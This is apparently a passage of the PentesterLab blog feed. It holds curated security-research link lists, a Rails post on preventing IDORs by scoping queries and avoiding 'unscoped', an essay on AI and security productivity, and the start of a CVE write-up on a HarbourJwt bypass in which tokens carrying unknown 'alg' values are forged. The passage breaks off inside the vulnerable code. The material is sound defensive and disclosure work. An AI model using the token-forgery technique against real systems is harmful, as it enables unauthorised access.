    <span class="research-vote-container ms-2" data-entry-id="26"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">You may think &quot;just another MCP bug&quot; but this post is actually worth reading:  <a href="https://blog.voorivex.team/shaking-the-mcp-tree" target="_blank">Shaking the MCP Tree: A Security Deep Dive</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://red.anthropic.com/2026/zero-days/" target="_blank" style="color:inherit;text-decoration:none;">Evaluating and mitigating the growing risk of LLM-discovered 0-days</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="27"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">This section resumes it: &quot;Opus 4.6 is notably better at finding high-severity vulnerabilities than previous models&quot;: <a href="https://red.anthropic.com/2026/zero-days/" target="_blank">Evaluating and mitigating the growing risk of LLM-discovered 0-days</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">♦️ </span><a href="https://arxiv.org/pdf/2602.02164" target="_blank" style="color:inherit;text-decoration:none;">Co -RedTeam: Orchestrated Security Discovery and Exploitation with LLM Agents</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="28"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">If you are working on a &quot;LLM based hacker&quot;, you are going to want to read this: <a href="https://arxiv.org/pdf/2602.02164" target="_blank">Co -RedTeam: Orchestrated Security Discovery and Exploitation with LLM Agents</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🚨 </span><a href="https://blog.nviso.eu/2026/02/05/an-introduction-to-automated-llm-red-teaming/" target="_blank" style="color:inherit;text-decoration:none;">An introduction to automated LLM red teaming</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="29"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Promptfoo is a neat tool to add to your red teaming arsenal: <a href="https://blog.nviso.eu/2026/02/05/an-introduction-to-automated-llm-red-teaming/" target="_blank">An introduction to automated LLM red teaming</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🛠️ </span><a href="https://knifecoat.com/Posts/Scalable+research+tooling+for+agent+systems" target="_blank" style="color:inherit;text-decoration:none;">Scalable research tooling for agent systems</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="30"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">A great post on how to scale tooling for agent: <a href="https://knifecoat.com/Posts/Scalable+research+tooling+for+agent+systems" target="_blank">Scalable research tooling for agent systems</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🦝 </span><a href="https://spaceraccoon.dev/discovering-negative-days-llm-workflows/" target="_blank" style="color:inherit;text-decoration:none;">Discovering Negative-Days with LLM Workflows</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="32"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">That&#39;s something I toyed with in 2012 (Monitoring repositories for Fun and Profit -  Ruxcon 2012), I used basic rules at the time. Obviously, having LLMs is a game changer for this kind of workload:  <a href="https://spaceraccoon.dev/discovering-negative-days-llm-workflows/" target="_blank">Discovering Negative-Days with LLM Workflows</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">⚡️ </span><a href="https://medium.com/@aglaforge/what-really-killed-flash-player-a-six-year-campaign-of-deliberate-platform-work-279d491633f9" target="_blank" style="color:inherit;text-decoration:none;">What Really Killed Flash Player: A Six-Year Campaign of Deliberate Platform Work</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="33"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">The story of the death of Adobe Flash, a must-read for AppSec practitioners.  <a href="https://medium.com/@aglaforge/what-really-killed-flash-player-a-six-year-campaign-of-deliberate-platform-work-279d491633f9" target="_blank">What Really Killed Flash Player: A Six-Year Campaign of Deliberate Platform Work</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 08 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week06-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week06-2026</guid>
    </item>
    <item>
      <title>Killing IDORs in Rails Applications: Make the Database Say "No" By Default</title>
      <description>
        <![CDATA[<div>
  <p>Rails is great at making the happy path simple. You need a record, you write <code>Model.find(params[:id])</code>. You need an authorization check, you add a line under it. The code reads well, it feels clean, it passes review, and it's also the reason why perfectly competent teams ship IDORs (Insecure Direct Object Reference).</p>
  <p>The issue is not that people don't know they need authorization. The issue is that "fetch then check" relies on humans to remember the check every time, across every new endpoint, refactor, export job, and admin screen. One missing line is enough. If you want to kill IDORs in a Rails app, you don't start by writing more checks. You start by changing the shape of your code so the insecure version becomes harder to write.</p>
</div>

<h5 class="fw-bold my-4">The authorization pattern that doesn't rot</h5>
<div>
  <p>The classic Rails footgun looks like this:</p>

<pre><code class="ruby">@project = Project.find(params[:id])
authorize! @project</code></pre>

  <p>Even if it's correct today, it's fragile. Someone adds a new action and forgets the <code>authorize!</code>. Someone reuses the query in a different code path and assumes "authorization happens elsewhere". Someone writes an export endpoint in a hurry. Now you have an IDOR and you're debugging why "users can see each other's stuff".</p>
  <p>The boring fix is to stop thinking of authorization as a boolean check and start thinking of it as a dataset. Don't fetch the record and then ask "can the user see it?". Ask the database for "records the user can see", and then fetch the record inside that relation.</p>

<pre><code class="ruby">@project = current_user.projects.find(params[:id])</code></pre>

  <p>In a multi-tenant application it's the same idea:</p>

<pre><code class="ruby">@invoice = current_account.invoices.find(params[:id])</code></pre>

  <p>This changes the failure mode in a way I prefer. If the user shouldn't see it, Rails raises <code>ActiveRecord::RecordNotFound</code> and you're done. The record never loads, which means you're not leaking metadata in error messages, logs, or templates that accidentally touch the object. Most importantly, the authorization rule is no longer a line you might forget. It becomes the query itself.</p>
  <p>Once you start writing code like this, another temptation appears quickly: if scoping is good, wouldn't it be better if it was automatic? That's where <code>default_scope</code> enters the story.</p>
</div>

<h5 class="fw-bold my-4">Default scopes feel like a superpower</h5>
<div>
  <p>I like <code>default_scope</code>. It makes code feel tidy because you stop repeating yourself. Soft delete is the classic example: you add a condition once, and everything in the app "just works" without needing to remember <code>where(deleted_at: nil)</code>.</p>

<pre><code class="ruby">class Product &lt; ApplicationRecord
  default_scope { where(deleted_at: nil) }
end</code></pre>

  <p>If you open a console and ask Rails what it would run, you can see why it feels so nice:</p>

<pre><code class="ruby">&gt; Product.all.to_sql
SELECT "products".*
FROM "products"
WHERE "products"."deleted_at" IS NULL</code></pre>

  <p>That's clean, consistent, and boring. The problem is that default scopes are quiet. They sit in the background, and they stack over time. You might start with soft delete, then later you add something else, and later you add something else again. At some point you'll need to bypass one of these defaults, usually for admin/reporting/export code, and that's where teams make a mistake that looks harmless in Ruby but is terrifying in SQL.</p>
</div>

<h5 class="fw-bold my-4">The dangerous bypass: unscoped</h5>
<div>
  <p>Rails gives you <code>unscoped</code>, which removes default scopes. The name sounds reasonable. You might even read it as "remove the default thing I don't want right now". But that's not what it means. <code>unscoped</code> is not selective. It drops everything.</p>
  <p>To see why this becomes a security issue, let's look at a real app situation: multi-tenancy plus soft delete. People often end up with both concerns expressed as default scopes, sometimes directly, sometimes via concerns.</p>

<pre><code class="ruby">class Product &lt; ApplicationRecord
  default_scope { where(account_id: Current.account.id) } # tenant boundary
  default_scope { where(deleted_at: nil) }                # soft delete
end</code></pre>

  <p>Now the default query looks like what you want:</p>

<pre><code class="ruby">&gt; Product.all.to_sql
SELECT "products".*
FROM "products"
WHERE "products"."account_id" = 42
  AND "products"."deleted_at" IS NULL</code></pre>

  <p>So far, everything is fine. Then someone writes an admin page that needs to include deleted products. The intention is reasonable: "same tenant, but include deleted". A lot of people reach for <code>unscoped</code> to do that.</p>

<pre><code class="ruby">&gt; Product.unscoped.to_sql
SELECT "products".*
FROM "products"</code></pre>

  <p>And that's the footgun in one screenshot. They wanted to remove <code>deleted_at IS NULL</code>. They also removed the tenant boundary. If you're not careful, that's how "admin can see deleted products" turns into "admin can see everyone's products", or worse, "any code path that calls this now mixes tenants and leaks data". It's not that the developer was reckless; it's that the tool was too blunt for what they were trying to do.</p>
  <p>This is why I don't like seeing <code>unscoped</code> in application code. It doesn't just remove the one default you're annoyed by. It removes the defaults you forgot existed, and the defaults someone will add in six months. It ages badly.</p>
</div>

<h5 class="fw-bold my-4">The correct tool: unscope(where: ...)</h5>
<div>
  <p>Rails also gives you <code>unscope</code>, which is the scalpel. It lets you remove exactly the part of the query you want to remove and keep everything else intact. If the only thing you want is "include deleted", then say that explicitly:</p>

<pre><code class="ruby">&gt; Product.unscope(where: :deleted_at).to_sql
SELECT "products".*
FROM "products"
WHERE "products"."account_id" = 42</code></pre>

  <p>That SQL is what the developer meant. It removes soft delete and preserves the tenant boundary. It does not rely on "nobody ever adds another default scope later". It is boring in exactly the right way.</p>
  <p>Once you've seen those two queries side-by-side, it becomes hard to justify <code>unscoped</code> for this kind of bypass. If your intention is specific, your query should be specific too.</p>
</div>

<h5 class="fw-bold my-4">The one that slips through review: Account.first.products.unscoped</h5>
<div>
  <p>There's a variant that I dislike even more because it looks safe at a glance:</p>

<pre><code class="ruby">&gt; Account.first.products.unscoped</code></pre>

  <p>Your brain sees <code>Account.first.products</code> and relaxes. It feels like we're scoped to an account. Then <code>unscoped</code> shows up at the end, and people mentally file it as "fine, we're just removing the soft-delete thing".</p>
  <p>But <code>unscoped</code> doesn't mean "remove soft delete". It means "remove all default scopes on Product". If your tenant boundary lives in a default scope (for example through a <code>Current.account</code> pattern), you're now one method call away from returning products outside the boundary you thought you had. Even in cases where the association constraint still applies, the intent is unclear and the blast radius is too big for something that usually started as "I just want to include deleted".</p>
  <p>If what you want is "products for this account, including deleted ones", then write exactly that:</p>

<pre><code class="ruby">&gt; Account.first.products.unscope(where: :deleted_at)</code></pre>

  <p>That one line makes code review simpler because the intent is obvious, and it makes the SQL predictable because the bypass is surgical.</p>
</div>

<h5 class="fw-bold my-4">Make the safe thing easy: give it a name</h5>
<div>
  <p>If your codebase uses soft delete and you keep it as a default scope, I don't love sprinkling <code>unscope(where: :deleted_at)</code> everywhere. It's correct, but it's also repetitive. I'd rather see a named scope or class method, because it reads like intent and it gives you one place to test and review.</p>

<pre><code class="ruby">class Product &lt; ApplicationRecord
  default_scope { where(account_id: Current.account.id) }
  default_scope { where(deleted_at: nil) }

  scope :with_deleted, -&gt; { unscope(where: :deleted_at) }
end</code></pre>

  <p>Now <code>Product.with_deleted</code> is self-explanatory, and so is the SQL:</p>

<pre><code class="ruby">&gt; Product.with_deleted.to_sql
SELECT "products".*
FROM "products"
WHERE "products"."account_id" = 42</code></pre>

  <p>When you see a PR using <code>with_deleted</code>, you can immediately tell what's happening. When you see a PR using <code>unscoped</code>, you have to ask what else got removed and whether it will still be safe after the next "helpful" default scope is added.</p>
</div>

<h5 class="fw-bold my-4">Why this belongs in a post about killing IDORs</h5>
<div>
  <p>IDORs happen when access control becomes "a thing you remember to do". Scoping is one of the simplest ways to turn authorization into structure instead of ceremony, because it forces your queries to operate on an authorized dataset by default.</p>
  <p>Default scopes can help with that feeling of "safe by default", but only if you treat bypasses with the same discipline. The moment you use <code>unscoped</code> casually, you're back to relying on human memory and assumptions, except now the assumptions are hidden inside ActiveRecord relations.</p>
  <p>My rule in reviews is boring and consistent: if you're bypassing something specific, use <code>unscope</code> to bypass something specific. If you use <code>unscoped</code>, you're not bypassing one thing; you're dropping all the constraints you forgot you had, or may have in the future.</p>
  <p>When doing code review, you care about code being secure <b>and staying secure</b>. Pushing for scoped queries and flagging calls to <code>unscoped</code> helps ensure the code doesn't silently break six months from now when someone adds a new default scope or refactors the model.</p>
  <p>Named scopes like <code>with_deleted</code> have another advantage: they give you a single place to update. If the column name changes from <code>deleted_at</code> to <code>archived_at</code>, or you need to add another condition, you change it once and every caller gets the fix. Scattered <code>unscope(where: :deleted_at)</code> calls across twenty files means twenty places to forget.</p>
  <p>Rails makes it easy to write Ruby that reads like you meant the right thing. The database doesn't care what you meant. It only cares about the query you actually sent.</p>
</div>

<h5 class="fw-bold my-4">Bonus: make AI write secure code too</h5>
<div>
  <p>If you use AI coding assistants, consider adding these rules to your <code>AGENTS.md</code> or <code>CLAUDE.md</code>. The same principles that make code easier for humans to review also make it harder for AI to write insecure code by default:</p>

<pre><code class="markdown">## Rails Authorization

- Prefer `current_user.projects.find(params[:id])` over `@project = Project.find(params[:id]); authorize(@project)` — authorization should be part of the query, not a separate check
- Avoid `unscoped`; use `unscope(where: :column)` to bypass specific default scopes without removing others
- Use named scopes for common bypasses (e.g., `scope :with_deleted, -> { unscope(where: :deleted_at) }`) so there's one place to update</code></pre>

  <p>This won't catch everything, but it shifts the default. Instead of the AI generating the classic footgun and hoping you notice during review, it generates the scoped version first. Same idea as the rest of this post: make the secure path the easy path.</p>
</div>
]]>
      </description>
      <pubDate>Thu, 05 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/killing-idors-in-rails</link>
      <guid>https://pentesterlab.com/blog/killing-idors-in-rails</guid>
    </item>
    <item>
      <title>Need for Speed: AI, Security, and Productivity</title>
      <description>
        <![CDATA[           <div>
              <p>Security and privacy have always been about doing the right thing while balancing it with staying productive. People do not work in air-gapped environments for fun. They do it for security reasons, and that level of control usually costs real time and real money.</p>

              <p>We have seen this trade-off before. Most teams did not move to the cloud "because cloud is cool". They moved because it made them faster, and security was not always thrilled ("There is no cloud, it's just someone else's computer"). The same tension showed up with Agile, or should I call it, as a security practitioner: "FRagile". It has always been about balancing risk (security and privacy) with rewards (productivity).</p>
            </div>

              <h5 class="fw-bold my-3">AI: The Same Problem, New Stakes</h5>

              <p>With AI, we are back to the same problem: productivity versus security. Things are moving faster than ever. Agents working day and night to improve your productivity. Agents with access to your calendar, root access to servers, your emails, maybe even bank accounts. Once again, it is about balancing productivity with security. People willing to sacrifice the most security often get the biggest boost in productivity, until they don't.</p>

              <h5 class="fw-bold my-3">Security Gets the Boost Too</h5>

              <p>What's new this time is that security is getting the productivity boost too. If you have been paying attention, you saw that Trail of Bits, one of the leading security consultancies worldwide, are huge users of Claude Code:</p>

              <blockquote class="border-start border-warning border-4 ps-3 my-4" style="background: #f8f9fa; padding: 14px 16px;">
                "Nearly all of @trailofbits' 140 employees use Claude Code daily, and most in YOLO mode" (<a href="https://x.com/dguido/status/2017303494290469265">source</a>)
              </blockquote>

              <p>Trail of Bits even released part of their Claude skills: <a href="https://github.com/trailofbits/skills">https://github.com/trailofbits/skills</a>. A lot of big names in security are also publishing about AI-assisted research: <a href="https://sean.heelan.io/2026/01/18/on-the-coming-industrialisation-of-exploit-generation-with-llms/">On the Coming Industrialisation of Exploit Generation with LLMs</a>, <a href="https://addxorrol.blogspot.com/2025/12/ask-your-llm-for-receipts-what-i.html">Ask your LLM for receipts</a>, and so many more. One thing is sure: we never saw the same level of enthusiasm from the security community for cloud or Agile.</p>

              <h5 class="fw-bold my-3">What Happens If You Don't Use AI?</h5>

              <p>It raises a question: what happens to security people who are not using AI? In the past, you could avoid cloud or Agile, but this time, not using AI can make you less productive at doing security work. Are you going to be left behind?</p>

              <p>Some may say you can run your own model locally. You can use Ollama, even Claude Code with Ollama (<a href="https://docs.ollama.com/integrations/claude-code">docs</a>). But what is the impact of not using the best available model for the job, just because the best model forces you to share data with a third party?</p>

              <p>Also, if developers of the application you are auditing are already sharing their source code with a third party, surely security auditors should be able to do the same. They already have the data after all. But if you are an AppSec consulting firm, do you have to swap models and tooling for every client based on their risk appetite and their developers' usage?</p>

              <h5 class="fw-bold my-3">Conclusion</h5>

              <p>Before, security could sit on the side and watch the world burn. This time it feels different.</p>

              <p>For once, the people trying to move fast and break things might be in security.</p>
]]>
      </description>
      <pubDate>Tue, 03 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/need-for-speed-ai-security-productivity</link>
      <guid>https://pentesterlab.com/blog/need-for-speed-ai-security-productivity</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 05/2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Bugs EVERYWHERE....</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🪟 </span><a href="https://www.praetorian.com/blog/corrupting-the-hive-mind-persistence-through-forgotten-windows-internals/" target="_blank" style="color:inherit;text-decoration:none;">Corrupting the Hive Mind: Persistence Through Forgotten Windows Internals</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="7"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">The team from Praetorian is sharing a new tool that will surely be added to your Windows Red Team arsenal <a href="https://www.praetorian.com/blog/corrupting-the-hive-mind-persistence-through-forgotten-windows-internals/" target="_blank">Corrupting the Hive Mind: Persistence Through Forgotten Windows Internals</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">␛ </span><a href="https://www.synacktiv.com/en/publications/on-the-clock-escaping-vmware-workstation-at-pwn2own-berlin-2025" target="_blank" style="color:inherit;text-decoration:none;">On the clock: Escaping VMware Workstation at Pwn2Own Berlin 2025</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="8"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Who doesn&#39;t like a good Pwn2Own story, the sentence &quot;Convinced that exploitation would be straightforward, we spent the second month procrastinating.&quot; especially hurts <a href="https://www.synacktiv.com/en/publications/on-the-clock-escaping-vmware-workstation-at-pwn2own-berlin-2025" target="_blank">On the clock: Escaping VMware Workstation at Pwn2Own Berlin 2025</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🪲 </span><a href="https://github.com/trailofbits/skills/blob/main/plugins/insecure-defaults/skills/insecure-defaults/SKILL.md" target="_blank" style="color:inherit;text-decoration:none;">Insecure Defaults Detection</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="9"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Trail of Bits is sharing more and more skills. This one to detect <a href="https://github.com/trailofbits/skills/blob/main/plugins/insecure-defaults/skills/insecure-defaults/SKILL.md" target="_blank">Insecure Defaults Detection</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">✨ </span><a href="https://srcincite.io/blog/2026/01/28/samstung-part-2-remote-code-execution-in-magicinfo-server.html" target="_blank" style="color:inherit;text-decoration:none;">Samstung Part 2 :: Remote Code Execution in MagicINFO 9 Server</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="10"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Steven Seeley is back with a new blog post and walks us through two bugs with source code to follow <a href="https://srcincite.io/blog/2026/01/28/samstung-part-2-remote-code-execution-in-magicinfo-server.html" target="_blank">Samstung Part 2 :: Remote Code Execution in MagicINFO 9 Server</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🪲 </span><a href="https://pentesterlab.com/blog/cve-2026-23993-harbourjwt-unknown-alg-jwt-bypass" target="_blank" style="color:inherit;text-decoration:none;">CVE-2026-23993: JWT authentication bypass in HarbourJwt via “unknown alg”</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="11"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">I hope no one will mind that I put my own content in there. I^WClaude found a JWT bypass in HarbourJwt <a href="https://pentesterlab.com/blog/cve-2026-23993-harbourjwt-unknown-alg-jwt-bypass" target="_blank">CVE-2026-23993: JWT authentication bypass in HarbourJwt via “unknown alg”</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week05-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week05-2026</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 04/2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">LLMs, WAF Bypass, LLMs...</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤯 </span><a href="https://sean.heelan.io/2026/01/18/on-the-coming-industrialisation-of-exploit-generation-with-llms/" target="_blank" style="color:inherit;text-decoration:none;">On the Coming Industrialisation of Exploit Generation with LLMs</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="2"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A great article, definitely worth a read. It’s also worth looking through the linked GitHub repository to learn a few tricks <a href="https://sean.heelan.io/2026/01/18/on-the-coming-industrialisation-of-exploit-generation-with-llms/" target="_blank">On the Coming Industrialisation of Exploit Generation with LLMs</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🚨 </span><a href="https://fearsoff.org/research/cloudflare-acme" target="_blank" style="color:inherit;text-decoration:none;">Cloudflare Zero-day: Accessing Any Host Globally</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="3"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">It feels like /.well-known/ isn’t that well known by WAFs… What I really like about this post is that it highlights one of the key tricks for finding vulnerabilities: “What routine tasks may open a security hole.” <a href="https://fearsoff.org/research/cloudflare-acme" target="_blank">Cloudflare Zero-day: Accessing Any Host Globally</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://hackingthe.cloud/ai-llm/exploitation/claude_magic_string_denial_of_service/" target="_blank" style="color:inherit;text-decoration:none;">Claude Magic String Denial of Service</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="5"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">I initially saw that trick on LinkedIn, but this article gets into much more detail. The magic string that &quot;breaks&quot; Claude <a href="https://hackingthe.cloud/ai-llm/exploitation/claude_magic_string_denial_of_service/" target="_blank">Claude Magic String Denial of Service</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://github.blog/security/ai-supported-vulnerability-triage-with-the-github-security-lab-taskflow-agent/" target="_blank" style="color:inherit;text-decoration:none;">AI-supported vulnerability triage with the GitHub Security Lab Taskflow Agent</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="6"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">GitHub Security Lab explains how they built an LLM taskflow system to triage CodeQL alerts: small, repeatable tasks, stored intermediate state, MCP tools for deterministic checks, and GitHub Issues as review checkpoints <a href="https://github.blog/security/ai-supported-vulnerability-triage-with-the-github-security-lab-taskflow-agent/" target="_blank">AI-supported vulnerability triage with the GitHub Security Lab Taskflow Agent</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Mon, 26 Jan 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week04-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week04-2026</guid>
    </item>
    <item>
      <title>CVE-2026-23993: JWT authentication bypass in HarbourJwt via “unknown alg”</title>
      <description>
        <![CDATA[
<p>
  I didn't know <strong>Harbour</strong> even existed as a language when I found this bug.
  The fun part is that I also didn't need to know Harbour to spot a critical flaw: I used an LLM as a
  <em>first-pass reviewer</em>, then validated the finding by reading the small, security-critical code paths myself.
</p>

<p>
  This post covers <strong>CVE-2026-23993</strong>, an authentication bypass in
  <a href="https://github.com/matteobaccan/HarbourJwt" target="_blank" rel="noreferrer noopener">HarbourJwt</a>
  where <strong>any unrecognized JWT algorithm value</strong> in the header causes signature verification to be bypassed.
</p>

<h5 class="fw-bold my-3">How I found it (without knowing Harbour)</h5>

<p>
  I scanned a bunch of JWT libraries listed on <a href="https://jwt.io/libraries" target="_blank" rel="noreferrer noopener">jwt.io</a>
  and ran an internal “jwt-library-review” skill (using Claude) on each repository. The goal wasn’t to blindly trust
  the output, it was to <strong>triage</strong>: quickly flag suspicious patterns so I could focus my manual review where it matters.
</p>

<pre><code class="language-bash">#!/bin/bash

for lib in ~/jwt/*/*/; do
    echo ""
    echo "=== $lib ==="
    if [[ -f "${lib}JWT_SECURITY_REVIEW.md" ]]; then
        echo "Skipping: JWT_SECURITY_REVIEW.md already present"
        continue
    fi
    echo "Please run the jwt-library-review skill on the code in $lib"
    claude -p "Please run the jwt-library-review skill on the code in $lib"
done

echo "Done!"</code></pre>

<p>
  <small><i>Yes, even if I'm speaking to an AI, it doesn't hurt to be polite (also this shell script was generated by Claude).</i></small>
</p>

<p>
  One repository stood out because the signature verification logic was too permissive around the algorithm selection.
  That's where this issue came from.
</p>

<h5 class="fw-bold my-3">Summary</h5>

<p>
  <strong>HarbourJwt incorrectly accepts forged tokens</strong> when the JWT header contains an algorithm value not in
  <code>HS256</code>, <code>HS384</code>, or <code>HS512</code>.
</p>

<ul>
  <li><strong>Not</strong> just the classic <a href="https://pentesterlab.com/exercises/jwt" target="_blank" rel="noreferrer noopener"><code>"alg":"none"</code> issue</a>.</li>
  <li><strong>Any unknown value</strong> works: <code>none</code>, <code>None</code>, <code>NONE</code>, <code>foo</code>, <code>zzz</code>, an empty string, etc.</li>
  <li>Impact: <strong>complete authentication bypass</strong> - forge tokens without the secret key.</li>
</ul>

<h5 class="fw-bold my-3">Where the bug lives</h5>

<p>
  The vulnerable logic is in <code>Verify()</code> (in <code>src/jwt.prg</code>). The bypass happens because
  signature generation returns an empty string for unknown algorithms, and verification compares strings without treating the algorithm error as fatal.
</p>

<h5 class="fw-bold my-3">Root cause: “unknown algorithm” returns an empty signature</h5>

<p>
  In HarbourJwt, signature computation is performed by <code>GetSignature()</code>. When the algorithm is not recognized,
  the method sets an error string but returns an empty signature (<code>""</code>).
</p>

<pre><code class="language-text">METHOD GetSignature( cHeader, cPayload, cSecret, cAlgorithm ) CLASS JWT
  LOCAL cSignature := ""

  DO CASE
     CASE cAlgorithm=="HS256"
